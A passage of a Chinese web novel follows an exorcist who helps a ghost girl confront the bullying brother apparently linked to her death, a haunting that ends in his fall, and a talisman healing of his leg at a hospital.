鹿翎没理她。 林小满见她闷闷不乐的样子,还以为自己给他添了什么麻烦,刚想转身飘走。 身后的人突然坐起,开口吓了林小满一跳。 “你是有什么心事需要我解决的。” 吓得林小满的魂体都差点散了。 “我...我不知道有没有...我只知道我叫什么名字,其余的事,我真的什么都不知道。” 她怯生生地往后飘了半寸,声音细若蚊蚋,指尖蜷缩着,满是无措。 “我不想给姐姐添麻烦的,要是、要是我没办法消除怨念,他们要抹杀我,我也没关系的。” 她说得一脸认命,看着格外可怜。 鹿翎看着她这副模样,眉头微蹙,原本因对方已读不回、白花了几千块的火气消了大半。 她向来务实,拿钱办事,既然玄灵那边靠不住,就只能自己动手。 总不能让这小鬼魂真被抹杀,钱也打了水漂吧。 她坐直身体,指尖引起一缕温和,却带着探查之力的灵气,缓缓朝林小满探去,“别动,我来看看问题到底出在哪。” 林小满虽然害怕,却还是乖乖定在原地,任由那缕灵气钻入自己的魂体之中。 下一秒,零碎的记忆碎片如同潮水般融入鹿翎的脑海。 可映入神识的,却没有半分阴影伤痛,全是暖哄哄的欢乐光景。 这是怎么回事? 第51章:找裴耀阳对证 鹿翎对这些美好的记忆丝毫没有兴趣。 她脑海里的记忆全都是美好温馨,是被父母捧在手心的幸福记忆。 没有丝毫死亡前的恐惧与难过,干净纯粹,温暖得不像话。 在她的记忆里,鹿翎丝毫没看见有一点线索。 鹿翎收回灵气,指尖微微一顿,眼底翻涌起浓浓的疑惑,眉头紧紧蹙起。 不对。 这完全不符合常理。 但凡魂魄也无法化解的执念与怨念,魂体记忆里必然藏着对应的伤痛、不甘或是遗憾。 哪怕是记忆模糊,也会散发出阴予的魂息。 可怜小满的魂体通透,记忆里全是暖意,连一丝负面情绪都找不到。 这样的魂魄本该毫无牵挂,顺利入轮回才对,怎么可能会有清除不掉的执念? 鹿翎抬眼,细细打量着眼前的林小满。 小姑娘依旧是怯生生的模样,魂体淡得几乎透明,一双眼睛干净又懵懂。 见鹿翎盯着自己,不由得缩了缩脖子,小声道:“姐姐,是不是我的记忆很奇怪...” 鹿翎沉默片刻,声音比之前沉了几分,“你所有的记忆里,只有这些开心的事吗?没有其他了?” 林小满歪着脑袋努力回想,可越是用力魂体就越是摇晃,眼底全是迷茫。 “我想不起来别的了,脑子里就只有爸爸妈妈,别的...别的什么都记不住。” 话说到一半,她像是想起什么。 手下意识摸向自己的胸口,因为是灵魂状态,手直接穿过胸口。 “对了,我好像一直在等什么人,可我想不起来是谁。” 鹿翎瞬间了然。 不过,她还有一点不明白。 林小满的执念竟然不是找到杀自己的凶手,报自己的仇。 她还以为这就是林小满的执念,而那些痛苦的回忆消失,是出于她魂体的自我保护机制。 只留下最美好的过往,所以这才是导致玄灵闪送的怨念清除数完全失效。 而这份执念的根源,必然和她遗忘的痛苦过往有关,她的死因和白家祖孙俩必然脱不了干系。 她本不想多管闲事,可现在钱也花了,任务没完成。 还遇上这蹊跷事,若是不解决,不仅钱要不回来,这小鬼迟早会魂飞魄散。 “既然想不起来,那就去能找到答案的地方。”鹿翎声音清冷,带着笃定。 林小满茫然地飘在她身边,小声问,“我们要去哪里呀?” “白家。” 鹿翎吐出两个字,眼底掠过一丝冷意。 看样子要回到白家,才能找到林小满执念的根源,帮她让她彻底了却牵挂,送她入轮回。 至于玄灵闪送那边已读不回,还不肯退钱的账,等她解决完这件事,再慢慢算。 她从来不做亏本的买卖。 林小满听到“白家”两个字,魂体莫名地顿了一下,心底泛起一丝说不清道不明的慌乱。 不过在去白家前,鹿翎还有一件事必须搞清楚。 鹿翎径直走向三楼裴耀阳的房间。 门没关严,里面隐约传来游戏音效和骂骂咧咧的声音。 她抬手,直接推开门。 “谁啊。”裴耀阳因为断了条腿,所以另一条腿只能搭在桌子上。 他正打游戏,头也不回,语气冲得很,“进来不会敲人吗?欠揍是不是?” 他一回头,看见是鹿翎,脸色瞬间沉了下来,又惊又怒,“你怎么敢随便进我房间?滚出去!” 鹿翎无视他的叫嚣,目光冷然,“你认识林小满。” “林小满”三个字一出口。 裴耀阳脸上嚣张表情瞬间僵住,手指一顿,手机里传来游戏结束的播报声。 如果是以往,他现在早就大发雷霆了。 不过现在不同。 他整个人像是被雷劈中一样,脸色刷的白了,眼神里涌上慌乱,还有一丝藏不住的恐惧。 不过瞬间,脸上表情再次恢复成那嚣张样,装作毫也不知情的模样。 “什么林小满,林小满是谁?你说的什么?我怎么听不懂?” 他低头,看见自己手机上,显示失败的页面,开始发火,“都怪你乡巴佬,要不是因为你,我游戏也不会输。” 别看他现在怒气冲冲,但他眼神中的慌乱,说明他根本没有缓过来。 而在这时。 一直安静飘在鹿翎身后的林小满,在看见裴耀阳的那一刻,整个魂体猛然一颤。 那双干净懵懂的眼睛,瞬间蒙上一层灰黑。 原本怯生生的魂体骤然绷紧,淡淡的黑气从周身蔓延开来。 房间里的温度猛然一降,桌子上的纸巾、书本被一股无形的力量吹得簌簌作响。 “是他...” 林小满的声音不再是软糯细语,而是带着压抑到极致的委屈与愤怒。 魂体忽明忽暗,怨气不受控制地四处扩散。 “是他……是他害死我的……” “是他害死我的——!” 尖锐的、带着哭腔的声音只有鹿翎能听见。 林小满的魂体几乎要凝成实质。 怨气如同黑色的雾,缠上房间的角落,连空气都变得阴冷刺骨。 裴耀阳明明看不见鬼魂,却莫名浑身发冷,头皮发麻。 像是被什么冰冷的东西盯住,吓得浑身发抖,脸色惨白如纸。 “鹿翎你又做了什么歪门邪道的事?为什么我的房间会这么冷!” 鹿翎冷冷地瞥他一眼,没理他。 指尖虚空画出一到镇魂符,掌风一扫,符咒打向失控的林小满身上。 不过呼吸间,不受控的的林小满魂体安静下来。 她再次躲到鹿翎身后。 不过这次眼神不再像之前那般怯懦,恐惧,而是憎恨。 只不过对上的是裴耀阳。 “之所以你房间冷,是因为你做的亏心事太多,鬼魂找上你了。” 裴耀阳死猪不怕开水烫,嘴硬道:“你在胡说八道什么?我告诉你,我可是很光明磊落的人,怎么可能做那些亏心事!” 他说这话时眼神飘忽不定。 很显然,对自己这话都不自信。 鹿翎冷笑一声,“你当然认为你做的所有事都不算亏心事,毕竟闹出人命,被人发现可是要坐牢的。” “严重的可是杀人偿命,吃枪子的。” 这话一出,裴耀阳脸色瞬间就白了,“什么杀人?我根本没杀过人,林小满不是我杀的!我去的时候明明她还有气!” 第52章:裴家闹鬼 这话一出,裴耀阳自己就是愣住了。 他瞳孔骤缩,猛地捂住嘴,手机“啪嗒”一声掉在地上,脸色从惨白转换为铁青。 完了,说漏嘴了。 鹿翎眼底寒光一闪,上前一步,语气冷得像冰,“你果然认识她,你去的时候她还有气,也就是说你明明能救,却眼睁睁看着她死。” 不知道想到什么,鹿翎眼中杀意逐渐变得清晰,“换句话说,你本来就是要去杀她的,看在她要死的份上,你就没动手。” 这只是鹿翎猜想。 在家里裴耀阳就横行霸道,从她回来后就能看出来。 还有上次裴家举办的认亲宴。 被一群看起来流里流气的小孩围在中间,还教唆白中杰从楼上阳台朝她头上泼水,没泼到就被眼神威胁。 这不是混混头目是什么? 看样子没少在学校欺负人。 林小满应该就是被霸凌人之一。 “我没有!”裴耀阳歇斯底里地吼出来,情绪彻底崩了,“你少血口喷人,滚!你给我滚出去!” 他疯一般抓起桌子上的东西,朝鹿翎砸过去。 因为动作太猛,受伤的腿磕在桌角,疼得他面部扭曲,却依旧不管不顾。 所有他手上能拿到的东西,全部一股脑地丢向鹿翎。 东西穿过林小满的魂体。 她眼神冷冰冰的看着发疯的裴耀阳。 “滚!你给我滚出去!我不想看见你!” “我要告诉爸妈,让他们把你这个扫把星赶出去。” 鹿翎侧身,躲过他丢过来的所有东西,身姿矫健灵活。 见他如此疯癫的样子,鹿翎没再逼问,只是冷冷撇了他一眼。 那眼神像是看一堆垃圾,令人不寒而栗。 “你最好祈祷,不要被我发现事情的来龙去脉。” 林小满见鹿翎要走,她也不想在这儿多留。 一是恶心,二还是恶心。 “姐姐...” 回到房间,林小满看着鹿翎的背影,欲言又止。 鹿翎坐在窗前的书桌前,神色平淡,“放心,他撑不了多久。” —— 晚上。 裴天逸和裴昊然父子俩刚从公司回来,杨丽华和裴淼淼也才逛完街,裴泽宇也从外面回来了。 吃饭的时候,裴耀阳也没下来吃饭。 鹿翎也没打算吃。 裴耀阳一直都是这样,作息不规律,裴家其他人已经习惯了。 吃完饭后就各回各的房间。 深夜。 裴家别墅一片寂静。 裴耀阳躺在床上,翻来覆去,根本睡不着。 一闭眼,全都是鹿翎说的话。 “闹出人命是要坐牢的。” “杀人偿命,吃枪子。” 他猛然喘口气,坐起来,冷汗浸透了睡衣。 强迫自己闭上眼,可刚一入睡,噩梦就缠了上来。 不过片刻,裴耀阳吓得浑身抽搐,猛地从床上瘫坐起来,大口大口喘着粗气,心脏狂跳得像是要炸开。 房间内一片漆黑,冷风从窗户里钻进来,呜呜作响,像小女孩的哭声。 他本来想下床,关窗户。 一只脚出被窝的一瞬间,猛然顿住。 现在是夏天,都关窗户,开空调了,怎么会有冷风从外面吹进来? 裴耀阳机械般转头。 窗外立着一道清晰的身影。 身影悬浮在半空,长发散乱地垂在身前,身上穿着洗得发白的旧校服,裙摆上还沾着早已刚发黑的血迹。 正是林小满。 她现在是鬼魂,没有脚,整个人轻飘飘地浮着。 那张原本清秀的脸,此刻毫无血色,双眼空洞无神,却直直地锁定在床上的裴耀阳身上。 “啊——!” 裴耀阳吓得魂飞魄散,发出一声破音的尖叫,身体狠狠一抖,直接从床上滚了下去,重重摔在地板上,疼得他呲牙咧嘴。 现在的他哪能顾得上身体的疼痛。 只要敢耽搁一下,他就要被鬼缠上,给害死。 连受伤的腿都不顾了,拼命往后缩,手脚并用地往墙角爬去。 “是你!林小满,你别过来!你别过来!” 他吓得涕泪横流,白天的嚣张跋扈荡然无存,只剩下深入骨髓的恐惧。 他怎么也没想到林小满的鬼魂竟然真的找上门来了。 林小满缓缓飘向他,周身的阴气越来越重,房间内的温度骤降,仿佛进入一个冰窟。 空调被冻得自动停止运转,桌子上的水杯表面结出一层白霜。 她没有说话,只是静静的看着裴耀阳,空洞的眼底渐渐翻涌起浓烈的怨恨 林小满缓缓抬起手指,指尖泛着冰凉的黑气,直直指向裴耀阳。 就在那缕黑气直逼裴耀阳面门时。 林小满突然收回手,消失在裴耀阳房间内。 裴耀阳也被吓得屁滚尿流地冲出房间。 他没有选择去找杨丽华和裴天逸,而是选择跑到二楼去敲鹿翎的房门。 “砰砰砰——!” “鹿翎!开门!你给老子开门!” “鹿翎!你这个妖女,是不是故意招鬼来害我,是不是你!” 他又怕又怒,声音都在发抖,带着哭腔,整个人濒临疯癫。 “你快把鬼赶走!快啊!我受不了了!“” 他的吼叫声音量大得离谱。 情绪彻底失控,一边拍着鹿翎房门,一边跳脚大喊。 像在跳大神一样。 声音里的哭腔混杂着力气,刺耳至极,“你快开门,把林小满的鬼魂赶走,不然我就拆了你的房间!” 剧烈的敲门声和他歇斯底里的叫喊,像是一颗炸裂在别墅里炸开。 裴淼淼揉着眼睛,穿着真丝睡裙,本来还一脸不耐烦的表情,在看见裴耀阳那一刻荡然无存。 声音柔柔的,“耀阳,大半夜不睡觉,在姐姐的房门前干什么?” 裴耀阳像是抓住了新的发泄口,猛地转向裴淼淼,手指着鹿翎的房门,语无伦次,“姐!她害我!鹿翎她害我,她招来林小满的鬼来缠我,你快让他开门!” 房门“咔哒”一声,从里面拉开。 鹿翎穿着一身黑色睡衣睡裤,站在门口,眉眼清冷,居高临下的看着他,语气淡漠,“嚷嚷完了?” 鹿翎的声音瞬间压住裴耀阳的吵闹。 裴耀阳愣了一瞬,随即像是被点燃的炮仗一样,猛地扑上去,手指指着鹿翎的鼻子,嘶吼道:“别装蒜!就是你,是你把那鬼招出来害我的。你给我滚出来,把她赶走。” 第53章:吓死裴耀阳 他的手挥得又急又猛,手指几乎要戳到鹿翎的脸上,但被她周身那股冰冷的气场逼得深深顿住。 鹿翎连眼皮都没抬一下,只是微侧头,用眼神淡淡扫过他那只颤抖的手,“你再指一下。” 短短五个字,没有任何情绪起伏。 但让裴耀阳的手僵在半空,莫名打了个寒战。 他张张嘴,原本到嘴边的怒骂声卡在喉咙里,只剩下粗重的喘息。 而也在这时,三楼的杨丽华和裴天逸。还有裴泽宇以及裴浩然几人被吵醒 杨丽华披着外套,快步从楼梯上走下来。 就算再怎么疼爱这个小儿子,谁在睡觉时被人打扰也是极其不爽的事。 “耀阳,你大半夜不睡觉干嘛呢。” 裴耀阳像是抓住救命稻草般,猛然扑向杨丽花怀里,哭得撕心裂肺,“鹿翎她招来林小满的鬼魂来吓我,那个鬼现在就在我的房间里,她想吓死我。” 不知道听到什么,裴昊然脸色忽地一变,眼神带着警惕地看向鹿翎,表情一言难尽。 “鹿翎?”杨丽华一忍,下意识看向站在门口的鹿翎。 她狠狠皱眉,目光礼充满厌恶和憎恨。 杨丽华伸出手,拍拍裴耀阳的背,“行了,现在有什么鬼,快回去睡觉吧。” 裴耀阳硬是不听,见妈妈也不信自己,挣脱开杨丽华,像个疯子般朝外跑去。 嘴里还在嚷嚷,“有鬼啊!有鬼!” 像个神经病一样。 裴家众人一脸便秘,脸色铁青。 裴天逸视线看向一直没说话的鹿翎,脸色缓和些,“阿翎,既然你会符咒,那想必也会捉鬼,耀阳房间闹鬼的事...” 杨丽华一脸不可置信,“老公!你怎么还信这个?我看耀阳他房间里闹鬼的事,都是她做的,她这样做的目的就是骗钱。” 鹿翎没说话,伸手要关房门。 裴天逸刚要上手阻拦,就听到楼梯口那儿传来一声惨叫。 所有人脸色骤变,纷纷朝楼梯口方向跑去。 看见的是裴耀阳从二楼楼梯口,一路滚下去,躺在瓷砖地板上一动不动。 杨丽华尖叫一声,直挺挺地倒在站在身后的裴天逸身上。 裴号然两兄弟见状,快步下楼梯。 裴淼淼拨打120。 与此同时。 房间内。 鹿翎早就看见裴耀阳往楼梯方向走,她还以为裴耀阳会看着点路。 没想到是个不长眼睛的人。 她坐回床上,一个纤细的身影从墙角慢慢显现,小心翼翼往鹿翎视线看不到的方向移动。 “玩开心了?”鹿翎突然出声。 把即将要钻进玉石的林小满吓一跳,她身形一僵,怯生生地停在原地,声音轻得像飘絮,“姐姐...对不起...我只是想吓吓他。” 不知道她想到什么,连忙摆手,“不过他从楼梯上摔下去不是我做的。” 鹿翎抬眼,淡淡扫过她苍白的脸,有什么情绪,“我知道。” 要是林小满真想报复,那裴耀阳早就不是滚下楼梯这么小的事。 林小满这才松口气,飘到床边,低头小声说,“其实本来他看不见我的,但不知道怎么的,他竟然能看见我飘在他窗外。” 鹿翎闻言眯了眯眼。 —— 外面,楼下已经乱成一锅粥了。 救护车的鸣笛声由远及近。 裴家佣人慌慌张张打开大门,医护人员抬着担架冲进来。 杨丽华醒过来后哭得撕心裂肺,指着二楼窗口破口大骂,话里话外全是鹿翎用邪术害人。 裴天逸脸色沉得可怕,一边让人稳住现场,一边抬头看向二楼,眼神复杂难懂。 裴昊然的脸色也好不到哪里去。 裴泽宇脸色发白,张张口,欲言又止。 裴淼淼站在一旁,假意抹眼泪,眼底却闪着几分快意。 最好裴耀阳在摔断一条腿,鹿翎被当做嫌疑犯抓走,这样就再也没人抢裴家大小姐的位置。 房间内 林小满听着楼下的吵闹声,轻轻咬着唇,“姐姐...他们都在骂你...” 她也没想到这家人说话这么恶毒。 什么话都骂得出口。 这还算是父母吗? 鹿翎的注意力没放在裴家人身上,而是在林小满刚刚说的话。 什么叫“但不知道怎么的”。 这是什么意思。 一种她不敢想的事出现在她脑海里。 没再多想,她拿出生活手机,给人打去电话。 电话没接。 鹿翎冷笑一声,发了个红包过去。 没收。 鹿翎皱眉。 怎么不收红包? 她师父以往对收钱这个事积极得很。 怎么今天晚上没收红包? 鹿翎又打了几个电话,没接。 鹿翎:“.......” 搞什么东西。 但对刚刚林小满所说的情况,她大致应该知道是什么原因。 从她刚回到裴家,就看见别墅上空飘着黑云,还有踏进去时,扑面而来的恶臭。 这说明别墅里有脏东西。 本以为有她的存在,这些脏东西还可以收敛。 但没想到,竟然敢明目张胆地,在她眼皮子底下动手脚。 让林小满吸收这别墅里的黑气。 看来,裴耀阳摔下来台阶,也跟这股黑气有关系。 真恶心。 鹿翎蹙眉。 “怎么了,姐姐。”林小满不解。 鹿翎摆手,熄灭床头灯,“早点睡吧。” 明天还有事要忙呢。 见鹿翎不想多说,林小满也不说话了,飘进玉石里,睡觉。 凌晨三点,医院急诊楼外。 裴耀阳被匆匆推进急诊室,头上因为摔倒磕在楼梯上,还包着纱布。 右腿以一个诡异的角度扭曲着监护仪上的心跳曲线。一阵乱跳,发出低低的警报声。 杨丽华嗓子都哭哑了。 裴天逸站在一边,脸色阴沉得能滴出水来。 他一边安抚杨丽华,一边对电话那头低声呵斥,显然是在安排家里的事。 裴昊然和裴泽宇兄弟两,一人守在走廊长椅上,靠着墙角,一脸疲惫。 裴昊然眉头紧锁,眼神时不时飘向急诊室方向,脑子里在一遍遍重复裴耀阳说的话。 莫真的是林小满的鬼魂来找他报仇了? 可现在这个社会哪来的鬼? 而裴淼淼坐在一旁,低着头,拿起手机,不知道在干什么。 天快亮的时候,急诊室的灯终于灭了。 医生推门出来拆下口罩,语气带着一丝无奈,“病人暂时脱离危险的,但情况不好,右腿因为曾经受过伤,现在再遭受一次重击,现在已经是粉碎性骨折,必须立刻做手术,另外还有轻微的脑震荡,需要留院观察。” 医生顿了顿,“最重要的事...他好像受到了精神刺激,进手术室还在说胡话,你们多留意一下,别让他情绪太过激动。” 第54章:给裴耀阳治腿 杨丽华一听,当场就炸了,抓住医生的手就哭,“医生,你一定要治好他,他是被那个妖女害的,是妖女用邪术搞的鬼。” 医生被她这架势吓住,连忙抽回手,“裴夫人说话要讲科学,我们都检查过了,病人身上只有外伤,至于他说胡话,可能是惊吓过度导致的精神紊乱,建议你们找心理医生看看。” 裴天逸深吸口气,压下心头的火气,对着身边的助理吩咐道:“安排最好的病房,最好的医生来给三少爷治病。” 助助理连连点头,离开这里。 与此同时,裴家别墅。 鹿翎下楼时,屋里没看见裴家人。 他们应该还在医院陪裴耀阳还没回来。 张婶已经听说过这事,看向鹿翎的眼神没在像以往那般不屑,而是充满恐惧。 裴家其他佣人也是这样。 恨不得离她八百米远。 裴家谁人不知道,这个认回来的大小姐除了会点邪魔外道,还会招鬼。 招来的鬼,把裴家三少爷吓得滚下台阶,现在在医院还没回来,怕是伤得不轻。 张婶把做给鹿翎的早饭,放到她面前想都没想,直接就跑了。 期间还因为跑得太快,左脚绊右脚,摔在杨丽华花了三十多万的羊毛地毯上。 鹿翎挑挑眉,没管。 林小满此时也从楼上飘下来,刚好看见这一幕。 她有些惊讶,飘到鹿翎旁边,“姐姐,你在裴耀阳这么凶吗?这位大婶看见你就跑了,自己还摔了一跤。” 张婶做的是海鲜粥,鹿翎喝下第一口,餍足地眯了眯眼,手指撑着下巴,“还行吧,我不是很凶啊。” 吃到好吃的,连心情就变好了,说话语气也变好了。 吃完饭后,碗直接放在餐桌上。 上楼收拾收拾东西,准备离开别墅。 见鹿翎在拿东西,林小满不解,“姐姐,你要去哪啊?” 鹿翎,“给你收拾烂摊子。” 说到底,要不是因为她把林小满带回裴家,在看见裴耀阳后,情绪失控。 这是因。 从而在她作弄裴耀阳,自己又没制止,导致裴耀阳摔下台阶。 如果不给林小满收拾烂摊子,林小满就会因为这个“因”,可能会导致轮回受阻。 其实“果”。 自己去给裴耀阳治腿。 这是也“果“”。 因果关系。 “是因为我把裴耀阳的腿弄摔断的原因吗?”林小满挺有自知之明。 鹿翎点点头。 “那岂不是你一过去就被裴家父母骂,早知道我就不去捉弄他了。”林小满伤心。 “骂就骂呗,骂我也少不了一块肉。”鹿翎亲挺无所谓的。 但她也不是一个吃亏的主。 骂她?那就让她亲爱的宝贝儿子,多受一点罪喽。 正好她前几天画的医用类符纸,没有实验对象。 现在不就有个现成的吗? 鹿翎收拾几张活血化瘀符,还有断骨合成符,下楼准备让裴管家送她去医院。 当听到鹿翎要去医院时,裴管家看她的眼神一言难尽。 鹿翎是傻了吗? 如今整个裴家上下没人,不把她当做灾星。 若是换做家里二少爷和大小姐,他或许还会劝两句,让他们斟酌一下。 可对着鹿翎,他半分多余的心思都懒得动。 明知道现在先生和夫人现在在气头上,对她怨气值拉满,这时候凑上去,注定是自取其辱。 不过送她去医院尽个本分而已,到时候在医院发生点什么,就不关他的事了。 只能说被骂了也是她活该。 裴管家抬了抬眼,眼底的幸灾乐祸一闪即逝,“好的鹿翎小姐,车子马上准备好。” 除了这句话,其余的什么都没说。 他甚至在想,鹿翎去了医院最好就别回来了,省得继续留在裴家,搅得整个家都鸡犬不宁。 鹿翎把他的态度尽收眼底,却丝毫不在意,转身往门外走。 林小满跟在她身后飘着,依旧满心愧疚,小声嘀咕,“姐姐,要不我们还是别去了吧,他们肯定会骂你,我不想你受委屈。” “受委屈?”鹿翎轻笑一声,笑意却不达眼底,“我长这么大,还没人让我受委屈,他们要是识相,我就早点治好裴耀阳,要是不识相...” 还是那句话。 那就让他们的宝贝儿子多遭点罪。 司机停车停到庭院门口,拉开车门等候。 鹿翎拿了把伞撑着,把林小满整个鬼都遮挡完了。 她轻飘飘地跟着进去,满脸不安。 车子平稳驶离裴家别墅,向裴家私人医院方向开去。 裴管家站在别墅门口,看着车子彻底消失在视线里,才缓缓收回目光。 拿出手机给裴天逸发了条简短的消息,汇报鹿翎动身前往医院的事。 发完便随手揣回口袋,转身回了别墅。 在他看来,鹿翎这一趟,完全就是找罪受。 而车内的鹿翎,靠在椅背上,闭目养神,心里早就盘算好。 她从不主动惹事,但也不怕事。 杨丽华之前一口一个妖女,裴耀阳一口一个乡巴佬,她都挺厌烦的。 这比恶口业,她自然会好好讨回来。 车子平稳驶入裴家医院,一路畅通无阻,抵达顶层VIP病房区。 鹿翎推门下车,眉眼间没有半分惬意。 林小满跟在她身后,鬼魂的气息淡得几乎看不见,生怕自己再给鹿翎添麻烦。 病房外,裴天逸的助理守在门口,瞧见鹿翎的瞬间,脸色骤变,下意识就拦人。 却碍于她是裴家小姐的身份,动作僵在原地,进退两难。 不等助理开口,病房内突然传来杨丽华尖厉的叫骂声,字字句句全都是在怪鹿翎。 “都是那个扫把星,要不是她,耀阳怎么会变成这个样子?等我回去,我一定扒了他的皮,把她赶出裴家。” 鹿翎推门动作没停,径直走了进去。 病房内,裴耀阳腿上打着厚厚的石膏,脸色苍白地躺在床上。 时不时还会因为惊吓浑身抽搐,嘴里喃喃着“别过来”“有鬼”,模样狼狈不堪。 杨丽华坐在床边,双眼通红,满脸怨毒,裴天逸站在一旁,眉头紧锁,周身气压低得吓人。 因为裴天逸在这,裴昊然去公司处理事情去了,病房内就只有裴泽宇裴淼淼兄妹两人。 听见声音,所有人目光齐刷刷转向门口,看见是鹿翎时,脸色瞬间沉到谷底。 第55章:不要鹿翎给裴天逸治腿 鹿翎话音刚落,众人不可思议地转头看向她。 她这话是什么意思? 怎么没人听懂。 裴泽宇和裴淼淼面面相觑。 “你这话是什么意思?”裴天逸皱眉问。 鹿翎冷淡的瞥了他一眼,“我是来给裴耀阳治腿的。” 杨丽华猩红着眼,几乎是冷笑出声,“你会有这么好心,再说你会治腿吗?你一个乡巴佬,你别把我儿子给治死了。” 裴淼淼上前一步,“姐姐,你不是医生,就不要为你造成的后果赎罪了。” 提起这个,杨丽华就来气,气得七窍生烟,脸部涨红,“你给我滚!给我滚!” 说着她就要上手推鹿翎,不过手还没伸出去就被裴天逸拦住。 他抬眼看鹿翎,眼神没有以往那般,而是亮闪闪的,“你说你来给耀阳治腿?” “既然不想,那我就走了。”说着,他转身,抬脚就往外走。 但被裴天逸用眼神示意的助理拦住。 鹿翎挑挑眉,她还以为裴天逸这人真的会放她走。 “多少钱。”裴天逸直接开门见山。 上次光是一个出场就要了他一百万,而且那宴会还是对她百利无一害的。 这次给裴耀阳治腿,那不知道要给她多少钱。 不过用几百万,换以后裴家的前途,那也是挺划算的。 “老公!” “爸爸!” 三道不同声音响起,但都是同一个意思。 意思都在表达,怎么能让她这个妖女为儿子/弟弟治腿! 裴天逸脸色未变,依旧重复刚刚那句话,“多少钱?” “不要钱,免费的。” 其实鹿翎挺想要钱的,但不允许,要了钱就不是简单的解决因果关系了。 不过也不是没有好处。 她好久没画医用类符纸符咒了,不知道技术有没有下降。 这话一出,挺震惊的。 以往要一百万的人,现在竟然不要钱。 杨丽华看她的眼神充满怀疑,“真的不要钱?” 这话带着十足的戒备与试探,上下打量着面前的鹿翎。 在她眼里,鹿翎向来贪财市侩,上次简单出席宴会都敢张口要一百万,而且上次那宴会还让他们裴家在豪门圈丢尽脸面。 裴泽宇不耐烦地开口,“李助,把她赶出去,别让这个骗子进来。” 在鹿翎旁边飘着,一直没说话的林小满,小声道:“姐姐他们都不相信你,我们实在不行就走吧,不要在这找气受。” 她实在听不得这些人嘴巴这么脏。 入耳减脂是脏了耳朵。 鹿翎没说话。 李助理就是站在门口,拦住鹿翎的人。 他没动,因为裴天逸没说话。 对比起裴家其他人,裴天逸脸色要好很多,“你确定不要钱?” 他怕鹿翎临时反悔。 鹿翎此刻有些烦躁了,“你到底要不要给裴耀阳治,不要我就走了。” 杨丽华瞪大眼睛,“你敢威胁我?” 其实对鹿翎来说,这算不了威胁。 只要是受伤的人或者动物,都可以用这类符咒。 她来找裴耀阳治腿也是图个方便。 “好,我信你。”裴天逸顶着所有人不可置信的目光,同意鹿翎给裴耀阳治腿。 杨丽华猛地瞪大双眼,仿佛听到了什么天方夜谭。 她一把拽住裴天逸的胳膊,指甲几乎嵌进肉里,“老公,你疯了,你信这个骗子,她就是个会歪门邪道的妖女,给耀阳治腿,他肯定是憋着坏,想害耀阳。” 她现在一点都不会信鹿翎。 裴淼淼也立刻红了眼眶,柔弱地靠在裴泽宇旁边,声音哽咽,“爸爸,妈妈说得对,太冒险了,耀阳的腿已经这样了,万一...” 裴天逸没回应,目光直直地看着鹿翎,“你想要我们做什么?” 鹿翎挑眉,她还以为裴天逸会听他老婆孩子的话,把自己赶出去呢。 没想到还是让她给害得他儿子短腿的人治病。 “没什么,只是我等一下治腿的时候,你们别出声,别闹就行。”鹿翎清冷的目光扫过满屋剑拔弩张的人,淡淡开口。 她话音刚落,杨丽华立马炸毛,指着鹿翎的鼻子就骂,“我看你就像趁机耍花样,耀阳的腿已经废了,你要是敢动他一根手指头,我就把你赶出裴家。” “求之不得。”鹿翎直视杨丽华通红的眼睛。 对比起她想要吃人的目光,鹿翎的视线很平静,平静如寒潭,深不见底。 杨丽华被这目光刺得后退一步。 裴淼淼倒是眼睛亮了亮。 “行了!”裴天逸打断这场闹剧,他视线和蔼地落在鹿翎脸上,“你永远都是我的女儿,裴家大小姐。” 鹿翎没说话,眉眼间染上一层烦躁和不耐烦,“到底治还是不治?” 这就是实打实的威胁了。 她已经看懂了裴天逸的意思。 裴天逸不知道出于什么心思,想要鹿翎给他宝贝儿子治腿。 如果不让她当面治,她还不会晚上偷偷摸摸过来,给裴耀阳治吗? “不治,不治,不治...”林小满飘到裴泽宇和裴淼淼还有杨丽华耳边,来回说这句话,“成残疾,成残疾,成残疾...” 她宁愿自己入不了轮回,也要裴耀阳成残疾。 林小满声音轻飘飘的,像一阵残忍的阴风,在陪家众人耳边反复念叨。 声音若有若无,飘在每一个人耳侧,明明是虚无的,却比任何怒骂更让人心头发麻发怵。 “行了。”鹿翎声音清冷,现在她说的话只有林小满能听见。 “因果自有定数,不是你这样胡乱搅和的,再闹我就把你送回去。” 送回去就是指白中杰的家。 林小满身形一僵,那股反复的念叨瞬间消失。 她委屈地飘回鹿翎身边,不敢出声,只能用眼神表达对裴耀阳的恨意。 鹿翎没在理她,转头看向裴天逸,语气不容置疑,“现在,所有人都离开病房,谁出声,谁乱动,这病谁也治不了。” 其实有人在这里也治得了,不过她不想听这些人唠叨。 听到就烦。 裴天逸眉头微蹙,却还是立刻说道:“都听她的,离开这里。” 杨丽华气得咬牙切齿,却不敢反抗,只能一步三回头退到门口。 裴泽宇面无表情地跟上。 裴淼淼则悄悄退到最后,眼神在鹿翎和病床上的弟弟之间来回看,不知道在盘算什么。 片刻后,宽敞的VIP病房里,只剩下鹿翎和躺在病床上要死不活的裴耀阳。 第56章:活人见鬼 林小满再次开口:“姐姐,你真要给他治腿吗?” 鹿翎打开小布包,从里面掏出一张画得歪七扭八的符纸,“来都来了,真有不治的道理,我晚上懒得再跑一趟了。” “再者,给他治腿也是了去你不能轮回的因果,对你来说也算是百利无一害。” 林小满“哦”了一声,就乖乖缩在一边,没说话。 “天地玄宗,万气本根;骨断重续,筋损重生:淤散血行,邪去正存;奉吾之令,合!” 鹿翎念完咒语,指尖一捻,凌空对着福子轻轻一弹。 原本画得歪歪扭扭的符纸,骤然亮起到淡色灵光,杂乱的纹路像是被一双无形的手理顺,变得伶俐规整。 接骨生肌符,别名续骨符、洗骨愈伤符。 是医用疗伤符,属正阳灵气,专接碎骨,续经脉、散淤堵,驱骨中阴煞。 适用于各类骨头问题。 符纸无风自燃,却没有半分烟火气,只是化作一缕缕暖金色的流光,径直钻进裴耀阳被石膏裹得严实的右腿里。 下一刻,病床上的裴耀阳浑身一颤。 那不是普通的痛感,而是一种酸胀与撕裂交织的钻心感。 仿佛有什么东西硬生生注入他的腿里,将那些碎裂的骨头一一粘合归位。 他睫毛剧烈颤抖,呼吸急促起来,额前碎发被冷汗打湿。 鹿翎垂眸注视,指尖轻悬,正疏导这灵力平稳入骨。 片刻后,石膏发出“细微”的咔嚓声,裂缝蔓延崩开的时候,裴耀阳猛地睁开眼睛。 他眼神空洞,面色惨白如纸,浑身还因为符力冲击而微微颤抖。 而就在这时。 鹿翎不知道看到什么东西,瞳孔骤缩。 看来真是她想的那样。 裴耀阳摔腿就是有那股黑气的原因。 